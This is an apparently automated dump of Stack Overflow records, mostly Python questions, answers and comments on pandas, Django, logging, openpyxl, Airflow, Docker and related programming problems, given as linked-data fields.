has comment: http://stackoverflow.com/comment/80916910
type: Question
has body: I have a dataframe that looks like this: contactId ticker 0 ABC XYZ 1 ABC ZZZ 0 BCA YYY Creating a pivot like so: final_df = final_df.pivot_table(index='contactId', columns='ticker', aggfunc=len, fill_value=0) Results in the following output: ticker XYZ ZZZ YYY contactId ABC 1 1 0 BCA 0 0 1 As an intermediary step (see request below), I am assuming we need to transform the pivot so that if value >0 then ticker, else (blank). ie: ticker XYZ ZZZ YYY contactId ABC XYZ ZZZ BCA YYY Because the output I am looking for is list of space separated tickers + a text string per contactId: contactId ticker description ABC XYZ ZZZ The client is holding: XYZ ZZZ BCA YYY The client is holding: YYY For the intermediary step I tried the following (but it through a ValueError: Grouper for 'ticker' not 1-dimensional): final_df = final_df.pivot_table(index='contactId', columns='ticker', values='ticker', fill_value="") Can you please assist? Thank you for the help in advance!
has comment: http://stackoverflow.com/comment/80916880
has answer: http://stackoverflow.com/a/47025431
has comment: http://stackoverflow.com/comment/80917070
tagged with: python
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/80979169
score: 0
has comment: http://stackoverflow.com/comment/80916100
accepted answer: http://stackoverflow.com/a/47025431
answer count: 1
has comment: http://stackoverflow.com/comment/80917145

http://stackoverflow.com/q/47062428
tagged with: python
has body: Now I have class A: def start(self): return True class B(A): def start(self): return False Now if I want to make all the A() calls point or redirect to B class for example s=A() s.start() It should return False as A is overridden with B to return False Is that possible? Okay Edit My case is in Django view which is called in 3rd party package URLs and I want to override and the package call my child which I override it, But I solved it by overriding the url itself, so I'm asking if it can be done as a pythonic way not in a django way.
has comment: http://stackoverflow.com/comment/81073845
has title: How to force python to point to child even parent call?
has comment: http://stackoverflow.com/comment/81073380
type: AnsweredQuestion
score: 0
accepted answer: http://stackoverflow.com/a/47062578
tagged with: oop
has answer: http://stackoverflow.com/a/47062578
answer count: 1
has comment: http://stackoverflow.com/comment/81073799
type: Question
has comment: http://stackoverflow.com/comment/81072977
has comment: http://stackoverflow.com/comment/81073425
has comment: http://stackoverflow.com/comment/81072967
has comment: http://stackoverflow.com/comment/81072963
has comment: http://stackoverflow.com/comment/81073134

http://stackoverflow.com/a/46918683
has body: I believe that all provided keyword arguments will create the matching criteria. Since you are passing quantity as the keyword arguments, the method is looking for an existing record with that quantity, and not finding it, hence creating a duplicate. If the move the quantity arguments into defaults, your code should successfully locate the existing record based on the desired search criteria (like account for example), and then update the quantity.
type: Answer
answers question: http://stackoverflow.com/q/46918545
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/46918545
downvote count: 0
upvote count: 1
score: 1

http://stackoverflow.com/comment/81077720
score: 0
comment on: http://stackoverflow.com/q/47064474
has text: It might be able to accelerate the `...`, but it can't accelerate the JSON loading.
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/80855610
has text: @karmalis After you first call to the function all the subsequent calls return EOF which in int is -1 if you have not reset the stream, could we see the function for rewind?
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/46953656

http://stackoverflow.com/q/46983216
type: Question
tagged with: python-3.x
type: UnansweredQuestion
tagged with: openpyxl
tagged with: python
has answer: http://stackoverflow.com/a/47457013
has body: So like the title says, I am taking a list of IPs that are being migrated and trying to find the ones that are being Load Balanced from an excel sheet that lists all the Load Balanced IPs. Below I (think I have) am taking the values read in the columns and putting them into a tuple for both files, then I compare them and put the matches into another tuple and for testing purposes try to put them into a text file. (Later I will put them into a column in wb3 and ws3). This is not printing anything. Does anyone know why? Please help. wb1 = op.load_workbook('transition.xlsx') ws1 = wb1.get_sheet_by_name('Dependecy Details') wb2 = op.load_workbook('mas.xlsx') ws2 = wb2.active wb3 = op.load_workbook('LB_migration_sheet.xlsx') ws3 = wb3.get_sheet_by_name('Servers') """Extract Old Server IPs""" iplist = [] for row in ws1.iter_rows('P2:P857'): iplist.append(row) for row in ws2.iter_rows('C2:C5839'): lbips = [] lbips.append(row) for lbips in iplist: lbip = [] lbip.append(lbips) with open('output.txt', 'w') as test: test.write(lbip)
tagged with: excel
has title: Trying to search an excel file with rows in a column and find matching values in another excel column
score: 0
answer count: 1
tagged with: scripting

http://stackoverflow.com/a/47011303
answers question: http://stackoverflow.com/q/47007301
type: AcceptedAnswer
downvote count: 0
type: Answer
has comment: http://stackoverflow.com/comment/80978852
accepted answer of: http://stackoverflow.com/q/47007301
score: 2
has body: When you're working with p/invoke, you have to stop thinking "managed", and instead think physical binary layout, 32 vs 64 bit, etc. Also, when the called native binary always runs in-process (like here, but with COM servers it can be different) it's easier than out-of-process because you don't have to think too much about marshaling/serialization, ref vs out, etc. Also, you don't need to tell .NET what it already knows. An array of float is an LPArray of R4, you don't have to specify it. The simpler the better. So, first of all flann_index_t. It's defined in C as void *, so it must clearly be an IntPtr (an opaque pointer on "something"). Then, structures. Structures passed as a simple pointer in C can just be passed as a ref argument in C# if you define it as struct. If you define it as a class, don't use ref. In general I prefer using struct for C structures. You'll have to make sure the structure is well defined. In general, you use the LayoutKind.Sequential because .NET p/invoke will pack arguments the same way that the C compiler does. So you don't have to use explicit, especially when arguments are standard (not bit things) like int, float, So you can remove all FieldOffset and use LayoutKind.Sequential if all members are properly declared... but this is not the case. For types, like I said, you really have to think binary and ask yourself for each type you use, what's its binary layout, size? int are (with 99.9% C compilers) 32-bit. float and double are IEEE standards, so there should never be issues about them. Enums are in general based on int, but this may vary (in C and in .NET, to be able to match C). long are (with 99.0% C compilers) 32-bit, not 64-bit. So the .NET equivalent is Int32 (int), not Int64 (long). So you should correct your FlannParameters structure and replace the long by an int. If you really want to make sure for a given struct, check Marshal.SizeOf(mystruct) against C's sizeof(mystruct) with the same C compiler than the one that was used…
upvote count: 2

http://stackoverflow.com/comment/80960192
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/47006802
has text: And how do you expect the program to figure out that your `var1` is stored in a file?
type: Comment

http://stackoverflow.com/comment/81070828
type: AnswerComment
comment on: http://stackoverflow.com/a/47043577
score: 0
type: Comment
has text: thank you for this if you could please can you answer my other question about pulling data from a file it would be much appreciated

http://stackoverflow.com/a/69710398
answers question: http://stackoverflow.com/q/47052582
has body: Based on Daniel Hung's Answer, I made a quick factory that allows to "unpack" Jinja-Templated strings into a list for arbitrary operators with minimal Boilerplate-Code (so you don't need to create a subclass for every single operator): def operator_unpackjinja_factory(baseclass): class ChildUnpackJinja(baseclass): def __init__(self, xcompull_taskid, *args, xcompull_key="return_value", xcompull_attrname="objects", **kwargs): self.xcompull_taskid = xcompull_taskid self.xcompull_key = xcompull_key self.xcompull_attrname = xcompull_attrname self.baseclass = baseclass assert xcompull_attrname not in kwargs kwargs[xcompull_attrname] = "EMPTY" super(ChildUnpackJinja, self).__init__(*args, **kwargs) def execute(self, context): objects = context['ti'].xcom_pull(task_ids=self.xcompull_taskid, key=self.xcompull_key) setattr(self, self.xcompull_attrname, objects) return super(ChildUnpackJinja, self).execute(context) return ChildUnpackJinja The call of this factory can then be used as drop-in replacement for whatever Operator you originally wanted to use, like this: from airflow.providers.google.cloud.transfers.gcs_to_bigquery import GCSToBigQueryOperator with Dag(...) as dag: gcpbucket_to_bigquery_stagingtable = operator_unpackjinja_factory(GCSToBigQueryOperator)( xcompull_taskid = "my_upstream_task_id", xcompull_attrname = "source_objects", task_id="gcpbucket_to_bigquery_stagingtable", dag=dag, bucket="my_bucket_name" ) As discussed in this question, I would recommend to also create the Memoize class and add the @Memoize-decorator to the factory: class Memoize: def __init__(self, f): self.f = f self.memo = {} def __call__(self, *args): return self.memo.setdefault(args, self.f(*args)) @Memoize def operator_unpackjinja_factory(baseclass): <content unchanged, see above>
type: Answer
score: 0

http://stackoverflow.com/a/47023475
accepted answer of: http://stackoverflow.com/q/47023189
downvote count: 0
upvote count: 1
score: 1
answers question: http://stackoverflow.com/q/47023189
type: AcceptedAnswer
type: Answer
has body: You are definitely picking values which are not 1, but not printing them. You're printing the random indices that are pointing at non-1 values. You can also rethink your logic so it looks more like extract the indices of 1 values in list0 extract the indices of 1 values in list1 pick a random option from the extracted indices Something along the lines of: allOnes0 = [(ind, 0) for ind, v in enumerate(cluster0Y) if v == 1] allOnes1 = [(ind, 1) for ind, v in enumerate(cluster1Y) if v == 1] (index, clusterId) = random.choice(allOnes0 + allOnes1) Where clusterId tells you whether the random 1 came from cluster 0 or 1, and index tells you the position of the 1 in the cluster. Which is a lot more straightforward and a lot less error prone.

http://stackoverflow.com/comment/80774032
comment on: http://stackoverflow.com/q/46913406
has text: `sizefund = soup.findAll('input', {'id': 'productBsId'})[1].get('value')`
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/a/47056520
downvote count: 0
type: Answer
has body: Try using this: import spacy question = u'すぺいんへ いきました。' nlp(question)
score: 2
answers question: http://stackoverflow.com/q/47053698
upvote count: 2

http://stackoverflow.com/comment/80943699
type: Comment
has text: The error happens on line 6. Surely you'll manage to write a short 6-line program that demonstrates the same problem as the original program? Please see [mcve].
type: QuestionComment
comment on: http://stackoverflow.com/q/46998380
score: 1

http://stackoverflow.com/comment/80812145
comment on: http://stackoverflow.com/a/46932311
score: 0
type: Comment
has text: Super ;) I add another solution, it should handle NaNs too.
type: AnswerComment

http://stackoverflow.com/a/49966719
has body: You should put those files into the same directory with Dockerfile.
downvote count: 2
upvote count: 65
answers question: http://stackoverflow.com/q/46907584
type: Answer
has comment: http://stackoverflow.com/comment/93890575
score: 63
has comment: http://stackoverflow.com/comment/111919210
has comment: http://stackoverflow.com/comment/117532963

http://stackoverflow.com/comment/111540426
score: 1
type: Comment
has text: My own problem was a little different, but Docker's "issue" with odd paths when referencing a file above the folder containing Dockerfile was the issue **THANKS**! [Windows 10 + Powershell].
type: AnswerComment
comment on: http://stackoverflow.com/a/57991821

http://stackoverflow.com/a/47030295
upvote count: 1
score: 1
type: Answer
downvote count: 0
has body: .sock files are the file sockets, used in Unix domain socket You just specific the path you want. When the server runs, the file is automatically created. (Read this document for more information)
answers question: http://stackoverflow.com/q/47030142

http://stackoverflow.com/comment/81040152
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47046287
score: 0
has text: `multiprocessing` is a way around the GIL. The GIL doesn't really apply to numpy code or pandas. I'm not sure you get any benefit from using multiprocessing here.

http://stackoverflow.com/comment/80812612
comment on: http://stackoverflow.com/a/46929064
score: 1
type: Comment
type: AnswerComment
has text: @pylang Yes, absolutely. Wonder why I didn’t see that. Thank you.

http://stackoverflow.com/comment/80829447
score: 2
comment on: http://stackoverflow.com/q/46941106
type: Comment
type: QuestionComment
has text: filter before `groupby`

http://stackoverflow.com/q/47056588
has answer: http://stackoverflow.com/a/47089655
has title: python getLogger not working on derived Logger
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81067674
type: UnansweredQuestion
tagged with: python
tagged with: logging
has body: I've created a CustomLogger which extends logging.Logger. I'm trying to use getLogger to get my logger instantiation. Here is my code: import os import sys import logging import atexit class CustomLogger(logging.Logger): def __init__(self,name,logfile): super().__init__(name, level=logging.DEBUG) self.logfile_handler = logging.FileHandler(logfile) self.logfile_handler.setLevel(logging.DEBUG) self.logfile_handler.setFormatter(logging.Formatter('%(name)s | %(levelname)s | %(message)s')) self.addHandler(self.logfile_handler) atexit.register(logging.shutdown) print("Created logger: " + name + " " + logfile) mycustom = CustomLogger("cust","./cust.log") mycustom.critical("from direct write") #CORRECTLY WRITES TO FILE logging.getLogger("cust").critical("from getLogger") #FAILS TO WRITE TO FILE How can I use getLogger to write to mycustom instantiation? My intent is to use logging.getLogger("cust") in other modules to write to this logger.
has comment: http://stackoverflow.com/comment/81060399
score: 2
upvote count: 2
has comment: http://stackoverflow.com/comment/81060443
downvote count: 0
answer count: 1

http://stackoverflow.com/q/46918652
type: Question
has comment: http://stackoverflow.com/comment/80830032
possible better answer: http://stackoverflow.com/a/46920192
has title: Pass a string with different punctuation symbols as argv from command line
has comment: http://stackoverflow.com/comment/80829143
has comment: http://stackoverflow.com/comment/80785334
accepted answer: http://stackoverflow.com/a/46918804
tagged with: python
has comment: http://stackoverflow.com/comment/80788088
linked to: http://stackoverflow.com/q/12887906
has answer: http://stackoverflow.com/a/46918804
has body: I want to pass a string like "('a','a');('a','!a');('a', '!d');('b', '!e');('c','a')" from the command line. But i recieve an error: -bash: syntax error near unexpected token '(\' Is there a way, how i can avoid this without adding terminal symbols?(maybe specifieng a flag) Also, putting \ befor brackets didn't help - which characters should i prefix with '\' in the string with no spaces?
type: AnsweredQuestion
score: 0
tagged with: bash
answer count: 2
duplicate of: http://stackoverflow.com/q/12887906
has answer: http://stackoverflow.com/a/46920192
has comment: http://stackoverflow.com/comment/80830088

http://stackoverflow.com/comment/80823525
type: QuestionComment
comment on: http://stackoverflow.com/q/46938191
has text: `current_dict` has an `entries` key that references a list. DId you mean to *append to that list* perhaps?
score: 1
type: Comment

http://stackoverflow.com/comment/80982879
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/47011417
has text: how to do that ?I need other celery version ?
score: 0

http://stackoverflow.com/comment/80928947
type: Comment
type: QuestionComment
has text: @Hunter Yeap, to me it made no difference.
comment on: http://stackoverflow.com/q/46991155
score: 0

http://stackoverflow.com/a/46998282
has body: An efficient way is to use generators with context managers to handle the files. The context manager takes care for closing the file. The generator will yield one line at a time, instead of building a temp list first. with open('read_file', 'r') as reader: with open('output_file', 'w') as writer: gen = (line.split('|') for line in reader) for row in gen: writer.write(row)
has comment: http://stackoverflow.com/comment/80961703
downvote count: 0
type: Answer
upvote count: 2
answers question: http://stackoverflow.com/q/46997739
score: 2

http://stackoverflow.com/comment/80918940
type: Comment
type: AnswerComment
score: 0
has text: @PatrickHaugh ok ok... you got a point, and it's a good one, I made an edit because you are right, and I was wrong
comment on: http://stackoverflow.com/a/46985790

http://stackoverflow.com/a/47046545
score: 0
type: Answer
accepted answer of: http://stackoverflow.com/q/47020153
has comment: http://stackoverflow.com/comment/81228403
answers question: http://stackoverflow.com/q/47020153
type: AcceptedAnswer
has body: You could do in this way: id= driver.find_element_by_xpath("//div[@class='a_class_name_b' and @an_identifier='4']").get_attribute("id") print(id)
has comment: http://stackoverflow.com/comment/81231273

http://stackoverflow.com/comment/81062061
type: AnswerComment
has text: @HomunculusReticulli Hey, I still believe try my suggestion in point3 ... it will take you just 5 minutes ... maybe it can save you lots of debugging hours :P
type: Comment
comment on: http://stackoverflow.com/a/47053821
score: 0

http://stackoverflow.com/comment/80839592
comment on: http://stackoverflow.com/a/46946085
type: AnswerComment
has text: What is the output of `print(e.message)` when you run the code? Check the command window or console. Does this line `print(id_index,'updation done')` ever print?
score: 0
type: Comment

http://stackoverflow.com/comment/81043315
comment on: http://stackoverflow.com/a/47047769
has text: can you try it after the whole block of code instead? I got true if I ran print valC in values after declaration as well
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/q/47061791
downvote count: 5
type: UnansweredQuestion
has body: I'd like to express the following on a pandas data frame, but I don't know how to other than slow manual iteration over all cells. For context: I have a data frame with two categories of columns, we'll call them the read_columns and the non_read_columns. Given a column name I have a function that can return true or false to tell you which category the column belongs to. Given a specific read column A: For each row: 1. Inspect the read column A to get the value X 2. Find the read column with the smallest value Y that is greater than X. If no read column has a value greater than X, then substitute the largest value found in all of the *non*-read columns, call it Z, and skip to step 4. 3. Find the non-read column with the greatest value between X and Y and call its value Z. 4. Compute Z - X At the end I hope to have a series of the Z - X values with the same index as the original data frame. Note that the sort order of column values is not consistent across rows. What's the best way to do this?
score: -4
tagged with: python
has comment: http://stackoverflow.com/comment/81072400
has comment: http://stackoverflow.com/comment/81072910
has comment: http://stackoverflow.com/comment/81074265
has comment: http://stackoverflow.com/comment/81076775
tagged with: pandas
linked to: http://stackoverflow.com/q/20109391
upvote count: 1
has answer: http://stackoverflow.com/a/47062437
answer count: 1
has comment: http://stackoverflow.com/comment/81072737
tagged with: dataframe
has comment: http://stackoverflow.com/comment/81072170
has comment: http://stackoverflow.com/comment/81072864
has comment: http://stackoverflow.com/comment/81072952
favorite count: 0
type: Question
has title: Pandas, for each row getting value of largest column between two columns

http://stackoverflow.com/comment/106216665
score: 0
type: Comment
comment on: http://stackoverflow.com/a/49582462
type: AnswerComment
has text: @Python_Learner_DK The compete error stack trace may give us some clue. Can you raise a new question along with your binary versions please?

superclass
type: Tag
tags question: http://stackoverflow.com/q/46995450
tag name: superclass
tags question: http://stackoverflow.com/q/47007200
tags question: http://stackoverflow.com/q/46976909

http://stackoverflow.com/comment/80770303
comment on: http://stackoverflow.com/a/46911478
has text: But my lecturer told me to change the trackbar to other color channel. Do you have suggestion what color channel should i use beside RGB?
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/q/46958307
tagged with: windows
tagged with: python
tagged with: jupyter-notebook
type: AnsweredQuestion
has title: Python on Windows, connect to linux/unix server to process
downvote count: 0
score: 1
upvote count: 1
answer count: 1
has body: I work in an environment such that I have python installed on my laptop (windows 10). I also have access to a couple of Linux servers. I work with some very large datasets, some which would be too large for my machine's memory to handle. My question, which I so far haven't found an answer to, is if it's possible to connect to the linux server and run the code from my windows PC. I want to take advantage of the processing and memory on the linux server, but don't want to log on to server and do all of my development there and execute the scripts on the linux environment. As an aside, another person in my department has been asking if it's possible to do this from Jupyter Notebook or an IDE like Spyder?
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/46958611
tagged with: python-3.x
accepted answer: http://stackoverflow.com/a/46958611

http://stackoverflow.com/comment/80776144
has text: @killerT2333 Added.
comment on: http://stackoverflow.com/a/46913714
type: Comment
score: 2
type: AnswerComment

http://stackoverflow.com/a/46947082
has body: You could write a function that tries to modify the np.array, and expand if it encounters an IndexError: x = np.random.normal(size=(2,2)) r,c = (5,10) try: x[r,c] = val except IndexError: r0,c0 = x.shape r_ = r+1-r0 c_ = c+1-c0 if r &gt; 0: x = np.concatenate([x,np.zeros((r_,x.shape[1]))], axis = 0) if c &gt; 0: x = np.concatenate([x,np.zeros((x.shape[0],c_))], axis = 1) There are problems with this implementation though: First, it makes a copy of the array and returns a concatenation of it, which translates to a possible bottleneck if you use it many times. Second, the code I provided only works if you're modifying a single element. You could do it for slices, and it would take more effort to modify the code; or you can go the whole nine yards and create a new object inheriting np.array and override the .__getitem__ and .__setitem__ methods. Or you could just use a huge matrix, or better yet, see if you can avoid having to work with matrices of unknown size.
type: Answer
score: 0
answers question: http://stackoverflow.com/q/46946212

http://stackoverflow.com/a/47021553
has comment: http://stackoverflow.com/comment/80990732
has comment: http://stackoverflow.com/comment/80991444
has body: You need to change the first data_for_client to "data_for_client" in the related line, because otherwise you cannot use a dictionary ({...}) as a dictionary-key: from bokeh.io import output_file from bokeh.layouts import widgetbox from bokeh.models import CustomJS from bokeh.models.widgets import Div, Button from bokeh.plotting import show data_for_client = { "x": 3, "y": { "foo": [1, 2, 3], "bar": {"some_bar": "doge", "other bar": "much json"} }, "z": [[1, 2], [3, 4]] } # Here is the change: callback = CustomJS(args={"data_for_client": data_for_client}, code=""" console.log(data_for_client); """) content = widgetbox( Button(label="click here", callback=callback), Div(text="some complicated interactive stuff based on json content here") ) output_file("issue.html") show(content)
score: 2
upvote count: 2
answers question: http://stackoverflow.com/q/47021175
downvote count: 0
has comment: http://stackoverflow.com/comment/80992050
has comment: http://stackoverflow.com/comment/80990202
type: Answer

http://stackoverflow.com/comment/80998681
score: 0
has text: Also, please fix your indentation
type: Comment
comment on: http://stackoverflow.com/q/47025759
type: QuestionComment

http://stackoverflow.com/comment/81057534
has text: @ScottBoston Thank you sir :)
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47054333

http://stackoverflow.com/comment/81029172
type: AnswerComment
has text: This is not a syntax error but data error: [Oracle ORA-06512 error](https://www.techonthenet.com/oracle/errors/ora06502.php). Check if your numbers/strings allow those # of digits/characters being inserted or if you have any `NOT NULL` constraints.
comment on: http://stackoverflow.com/a/47022708
type: Comment
score: 0

http://stackoverflow.com/comment/81000770
score: 0
type: AnswerComment
type: Comment
has text: I did post my full trace, didn't I? It's at the bottom of my code
comment on: http://stackoverflow.com/a/47026838

http://stackoverflow.com/q/46990673
has body: Every job item on the Stackoverflow RSS feed has certain tags, with the key "category". Looking basically like this: scala hadoop apache-spark hive json I would like to use Feedparser, to put all tags into a list. Instead I always get just the first element. The Feedparser documentation mentioned entries[i].content, but I am unsure if that's the right approach, or how to use it in this case. Here is my code: import feedparser rss_url = "https://stackoverflow.com/jobs/feed" feed = feedparser.parse(rss_url) items = feed["items"] for item in items: title = item["title"] try: tags = [] tags.append(item["category"]) print(title + " " + str(tags)) except: print("Failed")
has answer: http://stackoverflow.com/a/46990783
accepted answer: http://stackoverflow.com/a/46990783
tagged with: python
type: AnsweredQuestion
score: 0
tagged with: rss
answer count: 1
has title: Parse Stackoverflow RSS job feed for same name elements, with Feedparser in Python
type: Question
tagged with: feedparser

http://stackoverflow.com/comment/80825076
has text: ...and now that I did that, as-is, you are correct: It does work in the same way. But why doesn't the simple `obj1.lift(obj0)` work as expected?
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/46938285

http://stackoverflow.com/a/46994946
answers question: http://stackoverflow.com/q/46966932
type: Answer
accepted answer of: http://stackoverflow.com/q/46966932
score: 4
upvote count: 4
type: AcceptedAnswer
downvote count: 0
has body: Error 401 is generated when you try to access a resource and you are not authenticated. Spotify currently requires that you provide your credentials for it you must register in the following link and create an application in it, in the end it will provide you with the Client ID and Client Secret, these values must be placed in the part indicated by the code. import sys from spotipy.oauth2 import SpotifyClientCredentials import spotipy import pprint if len(sys.argv) &gt; 1: search_str = sys.argv[1] else: search_str = 'Radiohead' client_id = "your_client_id" client_secret = "your_client_secret" client_credentials_manager = SpotifyClientCredentials(client_id=client_id, client_secret=client_secret) sp = spotipy.Spotify(client_credentials_manager=client_credentials_manager) result = sp.search(search_str) pprint.pprint(result)

http://stackoverflow.com/a/58691664
upvote count: 1
score: 1
type: Answer
has body: This worked for me. First remove your python3-pip: sudo apt remove python3-pip Then do this: sudo apt install --purge python3-setuptools And finally: sudo apt install python3-pip
downvote count: 0
answers question: http://stackoverflow.com/q/46948457

http://stackoverflow.com/a/46957991
answers question: http://stackoverflow.com/q/46957386
has body: Yes, you should present your output to the web via view. You need to write a view function (or a class view) in views.py and provide an url where you want to have it in urls.py If you rewrite your function to return desired result instead of printing it, tou can do the following: write this in views.py from django.http import HttpResponse from wherever_you_have_it import regexFunction def bar(request): result = regexFunction() # result should be a string return HttpResponse(result) and in urls.py: from .views import bar urlpatterns = [ url(r'^foo$', bar), ] Providing of course you have created your Django app at the first place. Your result should be displayed as plain text on address localhost:8000/foo - but you need to: python menage.py runserver In your terminal first And of course feel free to look at: https://github.com/Ergaro/CheckMyChords to see how a simple django app looks like
score: 2
accepted answer of: http://stackoverflow.com/q/46957386
upvote count: 2
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/80920772
type: Answer

http://stackoverflow.com/comment/80867103
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/46959688
score: 0
has text: I am using print line for testing only. Really i need loginDetails to == line. Which it does not beacuse of the [''] around the string.

http://stackoverflow.com/q/47017419
has answer: http://stackoverflow.com/a/47018357
has title: How to get the parent tag using selector?
tagged with: python
upvote count: 4
type: AnsweredQuestion
answer count: 2
tagged with: css-selectors
has body: Is there any way in css selector using which i can parse the parent tag name which is in this case tr. Here is the elements for the search: html_content=""" Hi!!!! """ If i consider the above element, what should be the css selector to parse the parent name tr? from lxml.html import fromstring root = fromstring(html_content) item = root.cssselect("td")[0].text print(item)
accepted answer: http://stackoverflow.com/a/47018357
downvote count: 1
tagged with: web-scraping
favorite count: 0
has comment: http://stackoverflow.com/comment/80981530
has comment: http://stackoverflow.com/comment/80981826
type: Question
tagged with: python-3.x
possible better answer: http://stackoverflow.com/a/47017592
score: 3
has answer: http://stackoverflow.com/a/47017592

http://stackoverflow.com/q/47024548
type: AnsweredQuestion
score: 0
accepted answer: http://stackoverflow.com/a/47123259
answer count: 1
has answer: http://stackoverflow.com/a/47123259
type: Question
tagged with: nginx
has title: Writing Tornado templates to work with nginx proxied location
tagged with: python
has body: I have a Tornado application that I want to host under a non-root location with nginx. So I have an nginx configuration that looks like server { listen 80; server_name mysite.com; location /myapp/ { proxy_pass http://localhost:8888/; } } I want the app to live at mysite.com/myapp/. With the current configuration all of the Handlers are routed to the correct url however all of the links used in the templates are wrong. For example Home links to mysite.com/ rather than mysite.com/myapp/. I'd also like the app to still work locally so I don't want /myapp/ hard-coded into the templates. Is there a way to deal with this with either nginx or Tornado? My solution thus far has been to add a convenience function to the template namespace import tornado.ioloop import tornado.web import os APPLICATION_ROOT = os.environ.get('MYAPP_ROOT') class BaseHandler(tornado.web.RequestHandler): def full_url(self, path, *args, **kwargs): if path.startswith('/'): path = path.lstrip('/') return os.path.join(APPLICATION_ROOT, path) else: return path def get_template_namespace(self): """Returns a dictionary to be used as the default template namespace. May be overridden by subclasses to add or modify values. The results of this method will be combined with additional defaults in the `tornado.template` module and keyword arguments to `render` or `render_string`. """ namespace = dict( handler=self, request=self.request, current_user=self.current_user, locale=self.locale, _=self.locale.translate, pgettext=self.locale.pgettext, static_url=self.static_url, xsrf_form_html=self.xsrf_form_html, reverse_url=self.reverse_url, full_url=self.full_url ) namespace.update(self.ui) return namespace and set MYAPP_ROOT='/myapp/' as an environment variable and use Home in the templates.
linked to: http://stackoverflow.com/q/32542282
tagged with: tornado

http://stackoverflow.com/a/46939923
upvote count: 2
accepted answer of: http://stackoverflow.com/q/46939804
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/80828300
has comment: http://stackoverflow.com/comment/80827686
score: 2
has comment: http://stackoverflow.com/comment/80827243
answers question: http://stackoverflow.com/q/46939804
type: Answer
has comment: http://stackoverflow.com/comment/80827414
has body: I think the smallest set of changes that will make this work is: class TemperatureFile: def __init__(self, filename): self.__filename = filename def getFilename(self): return self._Filename def setFilename(self): self._filename = filename def calculateAverage(self): try: with open(self.__filename,'rb') as temperatureFile: total = 0 temp = 0 for line in temperatureFile: amount = float(line.rstrip("\n")) total += amount temp = temp + 1 average = total/temp print(average) except ValueError as err: print(err) except IOError as err: print(err) else: average = total/temp print(average) finally: temperatureFile.close() def main(): num1 = 35 num2 = 63 num3 = 40 total = 0.0 temp = 0.0 average = 0.0 temperatureFile = open('Temperatures.txt', 'w') temperatureFile.write(str(num1) + '\n') temperatureFile.write(str(num2) + '\n') temperatureFile.write(str(num3) + '\n') temperatureFile.close() Temperatures = TemperatureFile('Temperatures.txt') Temperatures.calculateAverage() main() calculateAverage is a member of the TemperatureFile class, so it needs to be called on an instance of this class (Temperatures, here). calculateAverage takes no arguments. The self argument is just an explicit version of the implicit this common in other languages. I moved the opening of the file into the calculateAverage function since otherwise the __filename attribute is pointless. I also had to add total and temp default definitions. A more reasonable version [I think], though not strictly conforming to the requirements: import traceback as tb class TemperatureFile: def __init__(self, filename): self.filename = filename def calculateAverage(self): try: with open(self.filename,'rb') as temperatureFile: total = 0 temp = 0 for line in temperatureFile: total += float(line.rstrip("\n")) temp += 1 print(total/temp) except: tb.print_exc() with open('Temperatures.txt','wb') as output: output.write(str(35) + '\n') output.write(str(63) + '\n') output.write(str(40) + '\n') TemperatureFile('Temperatures.txt').ca…

http://stackoverflow.com/q/47028327
favorite count: 0
type: Question
has title: Converting a string to tuple -- ast.literal_eval() doesn't work
tagged with: tuples
linked to: http://stackoverflow.com/q/9763116
has comment: http://stackoverflow.com/comment/81023422
has comment: http://stackoverflow.com/comment/81004030
type: UnansweredQuestion
tagged with: python
has comment: http://stackoverflow.com/comment/81003677
tagged with: data-structures
linked to: http://stackoverflow.com/q/31272772
has comment: http://stackoverflow.com/comment/81024080
score: 2
upvote count: 2
has comment: http://stackoverflow.com/comment/81038530
has comment: http://stackoverflow.com/comment/81003955
answer count: 0
downvote count: 0
has comment: http://stackoverflow.com/comment/81003700
has body: I"m getting a list of strings back as an argument from arg_parse, and I would like to convert some of those strings to tuples if it is easily possible. Here is the list I'm getting from argparse: ['adding_light', '(shift_right_cv,shift_left_cv)'] I wonder how to convert this '(shift_right_cv,shift_left_cv)' to a tuple. I don't want to use eval, as these strings will be inputted by the user (argparse arguments). Unfortunately, ast.literal.eval() doesn' work -- I get raise ValueError('malformed node or string: ' + repr(node)) ValueError: malformed node or string: &lt;_ast.Name object at 0x00000000036A9BA8&gt; &gt;&gt;&gt; The suggestions from these threads have been tried out ( not the complicated one): Parse a tuple from a string? Convert a string to a tuple If there is no easy solution, I may just turn the tuple into a list --so I will get back a nested list from argparse, and see if that is easier to handle. I could also use RE, but I'm concerned about properly covering all cases (user input may possibly break the code). Thank you.

http://stackoverflow.com/q/46964578
tagged with: celery
score: 0
tagged with: architecture
answer count: 1
has body: Like to see what others think the best architecture for the following. I am trying to build a project that with a web front end that has the requirement to issue commands to other long running processes that will return results to the django db. The app must be scalable (in both db and processing power) and be able to run quickly. I've thought of the following scenario but wanted to check if there is a better way. Django web app receives instructions from a user (via web form or API) puts this 'request' into a queue (which technology would be best?) that another process (running asynchronously to gain performance, no startup costs) can consume (how does it do this? By monitoring a queue? IPC?). This app then returns the result of it's processing which needs to be put back into the django db (best to do this by another queue or direct access?) Thoughts on sanity...and technology. Links to tutorials would be great! How to run the asynchronous process. Celery, host daemon process? How to get data to and from the main django app/db. Queues, socket IPC? Use of django signals in here somewhere?!
has answer: http://stackoverflow.com/a/46964859
type: Question
tagged with: ipc
has title: Daemon process alongside django
type: UnansweredQuestion
tagged with: django
tagged with: python

http://stackoverflow.com/comment/80926005
comment on: http://stackoverflow.com/q/46988517
score: 0
